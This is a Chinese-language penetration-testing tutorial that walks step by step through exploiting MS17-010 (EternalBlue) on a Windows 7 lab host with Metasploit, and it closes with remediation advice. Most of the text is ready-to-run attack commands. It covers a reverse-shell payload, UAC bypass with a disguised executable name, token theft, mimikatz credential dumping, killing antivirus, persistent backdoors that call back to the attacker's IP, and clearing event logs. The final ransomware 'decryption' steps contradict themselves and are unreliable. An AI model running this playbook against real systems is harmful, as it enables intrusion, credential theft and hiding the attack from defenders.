情报搜集阶段

查看本机ip

ifconfig 查看ip地址

查看ip

nmap扫描子网

nmap 192.168.21.129/24 扫描子网

子网扫描

查看扫描结果,并进行分析

威胁建模阶段

发现有目标开启了445端口,对其进行进一步扫描,查看操作系统及服务

nmap -O -sV 192.168.21.154

查看操作系统

发现该主机开启445端口,并且为win7操作系统,判断可以进行永恒之蓝漏洞利用。

漏洞分析阶段

进入MSF框架

msfconsole

进入msf框架

查找漏洞相关模块

search ms17-010

模块查找

利用扫描模块

use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.21.154
run

漏洞扫描

通过漏洞扫描模块扫描后得出结果,此系统易受到永恒之蓝漏洞攻击

漏洞攻击阶段

使用ms17-010攻击模块,对靶机进行攻击
search ms17-010---->use id

查看参数

show options

参数的查看
需要设置目标主机的IP地址

设定参数

set rhost 192.168.21.154

设置payload

set payload windows/x64/meterpreter/reverse_tcp
注:如果没有设置payload,使用上漏洞只是回弹shell,使用后回弹meterpreter。

payload

run->获得权限

得到shell

后渗透攻击阶段

一般在获得shell后即进入后渗透阶段。后渗透攻击,顾名思义就是漏洞利用成功后的攻击,即拿到系统权限后的后续操作。后渗透攻击阶段的操作,可分为两种:权限维持和内网渗透。这里主要是就第一个进行测试。

meterpreter的基本系统命令

  • sessions #sessions –h 查看帮助
  • sessions -l #列出当前会话
  • sessions -i <ID值> #进入会话 -k 杀死会话
  • background #将当前会话放置后台

状态切换

  • shell #进入目标机cmd shell
  • sysinfo # 查看目标机系统信息
  • getuid # 查看权限
  • getpid # 获取当前进程的pid

命令演示1

  • ps # 查看当前活跃进程 kill <PID值> 杀死进程

命令演示2

权限提升

有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权

getsystem提权

getsystem工作原理:
①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动,导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

getsystem

一般直接使用getsystem不会成功。

ps:
在meterpreter shell界面,我们可以通过shell命令,进入cmd命令提示符,使用net user查看当前用户,发现当前用户实际是在管理组administrators组中,那为什么还提权不了呢?
原来,windows操作系统在vista以后增加了一个UAC的功能,英文全称User Access Control,该功能对管理员组的用户起到一定限制,进而保护计算机安全,当我们需要运行一些重要的程序,只有管理员权限才能运行的程序时,UAC功能都会弹出一个对话框,对用户进行询问,当用户点击了同意按钮,程序才会以管理员或system权限运行。因此,我们要想提权成功,首先要绕过windows的UAC限制,接下来我们来看常用的绕过UAC的套路。

bypassuac

内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限.

  • use exploit/windows/local/bypassuac
  • use exploit/windows/local/bypassuac_injection
  • use windows/local/bypassuac_vbs
  • use windows/local/ask

下面以其中一个举例:(其他几个操作类似)
使用模块

getsystem成功

提高程序运行级别

这种方法可以利用exploit/windows/local/ask模块,但是该模块实际上只是以高权限重启一个返回式shellcode,并没有绕过UAC,会触发系统UAC,受害机器有提示,提示用户是否要运行,如果用户选择“yes”,就可以程序返回一个高权限meterpreter shell(需要执行getsystem)。

set信息
注:我们可以把name改为windows_updata.exe迷惑操作者。

靶机弹窗

getsystem

利用windows提权漏洞进行提权

上述getsystem提权需要用户在管理组,如果不是,就需要使用其他方法提权。这里介绍利用已有的漏洞进行提权。

  • 这里先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

  • meterpreter > run post/windows/gather/enum_patches #查看补丁信息

  • msf > use exploit/windows/local/ms13_053_schlamperei #使用具体的exp,根据列出的具体可用exp而定

  • msf > set SESSION 2

  • msf > exploit

    1. 也可以使用local_exploit_suggester进行查询哪些exp可以用.
  • use post/multi/recon/local_exploit_suggester

  • set session i

  • set lhost 192.168.xxx.xxx

  • run

查询

令牌操纵

另一个提权的方法是扮演一个帐户从一个特定进程偷取令牌。为此,我们需要“incognito”扩展.

  • use incognito #help incognito 查看帮助
  • list_tokens -u #查看可用的token
  • impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token

假冒token

  • list_tokens -g #列出目标主机用户组的可用令牌

用户组可用令牌

  • meterpreter >execute -f cmd.exe -i -t #调用域权限shell
  • chcp 65001 #UTF-8编码代码页,解决乱码
  • meterpreter > getuid

shell

  • steal_token #从指定进程中窃取token 先ps列出可用的值
  • drop_token #删除窃取的token

进程

  • rev2self #返回原始token

  • migrate+pid #将当前会话进程迁移到一个指定的进程ID
    进程迁移

后续提权操作

基本信息搜集

  1. 检测是否为虚拟机

    run post/windows/gather/checkvm #是否虚拟机

是否运行在虚拟机

  1. 关闭杀毒软件

    run killav

关闭杀毒软件

  1. 获取安装软件信息

    run post/windows/gather/enum_applications #获取安装软件信息

软件信息

  1. 获取最近的文件操作

    run post/windows/gather/dumplinks #获取最近的文件操作

文件操作

  1. 列举登录过的用户

列举登录过的用户

hash与明文密码读取

  • load mimikatz #help mimikatz 查看帮助
  • wdigest #获取Wdigest密码
  • mimikatz_command -f samdump::hashes #执行mimikatz原始命令
  • mimikatz_command -f sekurlsa::searchPasswords
  • run post/windows/gather/smart_hashdump #从SAM导出密码哈希需要SYSTEM权限

文件系统命令

  • getwd 或者pwd # 查看当前工作目录
  • ls
  • cd
  • search -f *pass* # 搜索文件 -h查看帮助
  • cat c:\lltest\lltestpasswd.txt # 查看文件内容
  • upload /tmp/hack.txt C:\\lltest # 上传文件到目标机上
  • download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
  • edit c:\1.txt #编辑或创建文件 没有的话,会新建文件
  • rm C:\lltest\hack.txt
  • mkdir lltest2 #只能在当前目录下创建文件夹
  • rmdir lltest2 #只能删除当前目录下文件夹
  • getlwd 或者 lpwd #操作攻击者主机 查看当前目录
  • lcd /tmp #操作攻击者主机 切换目录

信息收集

信息收集的脚本位于:
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

脚本位置

  • run post/windows/gather/checkvm #是否虚拟机
  • run post/linux/gather/checkvm #是否虚拟机
  • run post/windows/gather/forensics/enum_drives #查看分区
  • run post/windows/gather/enum_applications #获取安装软件信息
  • run post/windows/gather/dumplinks #获取最近的文件操作
  • run post/windows/gather/enum_ie #获取IE缓存
  • run post/windows/gather/enum_chrome #获取Chrome缓存
  • run post/windows/gather/enum_patches #补丁信息
  • run post/windows/gather/enum_domain #查找域控

后门植入

metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。

启动项植入

  • run persistence –h #查看帮助
  • run persistence -X -i 5 -p 6661 -r 192.168.159.134 #-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip

后门1

后门的连接:

  • msf > use exploit/multi/handler
  • msf > set payload windows/meterpreter/reverse_tcp
  • msf > set LHOST 192.168.159.134
  • msf > set LPORT 6661
  • msf > exploit

也可以自己生成被控端,而后通过upload指令将其放到靶机的启动目录。

被控端生成

主控端

靶机运行

连接成功

metsvc服务后门

在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter

  • run metsvc –h # 查看帮助
  • run metsvc –A #自动安装后门

服务后门

  • msf > use exploit/multi/handler
  • msf > set payload windows/metsvc_bind_tcp
  • msf > set RHOST 192.168.159.144
  • msf > set RPORT 31337
  • msf > exploit

痕迹清理

run event_manager -c #清除目标系统的事件日志

痕迹清理

报告阶段

报告是渗透测试过程中最为重要的因素,使用报告文档来交流在渗透测试过程中做了哪些,如何做的,以及最为重要的—-客户组织如何修复所发现的安全漏洞和弱点。

永恒之蓝漏洞的修复与防范:

预防

  1. 为计算机安装最新的安全补丁,微软已发布补丁MS17-010修复了“永恒之蓝”攻击的系统漏洞,请尽快安装此安全补丁,网址为Microsoft 安全公告 MS17-010 - 严重 | Microsoft Docs。

  2. 及时备份,一定要离线备份重要文件

  3. 开启防火墙

  4. 关闭445、135、137、138、139端口,关闭网络共享。

关闭445端口

445端口:在局域网中轻松访问各种共享文件夹或共享打印机   

  1. WIN+R 运行–regedit
  2. 找到注册表项“HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters”
  3. 选择“Parameters”项,右键单击,选择“新建”——“DWORD值”。(64位 32位根据自己需求)
  4. 将DWORD值重命名为“SMBDeviceEnabled”
  5. 修改”数值数据”的值为0,点击确定,完成设置

关闭445

关闭135端口

135端口:Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册它们的位置。远端客户连接到计算机时,它们查找end-point mapper找到服务的位置。

  1. WIN+R 运行–dcomcnfg
  2. 在弹出的“组件服务”对话框中,选择“计算机”选项。
  3. 右键单击”我的电脑”,选择”属性”
  4. 在”默认属性”选项卡中,去掉”在此计算机上启用分布式COM”前的勾。
  5. 选择”默认协议”选项卡,选中”面向连接的TCP/IP”,单击”移除”按钮。

关闭135

 

关闭137、138、139端口

137、138端口:137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入的连接试图获得NetBIOS/SMB服务

  1. 打开网络共享中心 – 更改适配器设置
  2. 右键点击属性,把框起来的选项前面的勾去掉,然后卸载

1

  1. 双击Internet 协议版本 4 (TCP/IPv4)– 高级–选择WIN
  2. 勾选禁用TCP/IP上的NetBIOS(S)
    2

做完以上操作 重启即可关闭端口

修复

如果中招 已经被勒索,建议360网址下载查杀工具:http://dl.360safe.com/nsa/nsatool.exe

到卡巴斯基下载文件解锁工具:https://noransom.kaspersky.com/

  1. 打开自己的那个勒索软件界面,点击copy. (复制黑客的比特币地址)
  2. 把copy粘贴到btc.com (区块链查询器)
  3. 在区块链查询器中找到黑客收款地址的交易记录,然后随意选择一txid(交易哈希值)
  4. 把txid 复制粘贴给 勒索软件界面按钮connect us.
  5. 等黑客看到后 你再点击勒索软件上的check payment.
  6. 再点击decrypt 解密文件即可。
  7. 解锁软件:https://github.com/QuantumLiu/antiBTCHack
  8. 实际上并不是物理解密文件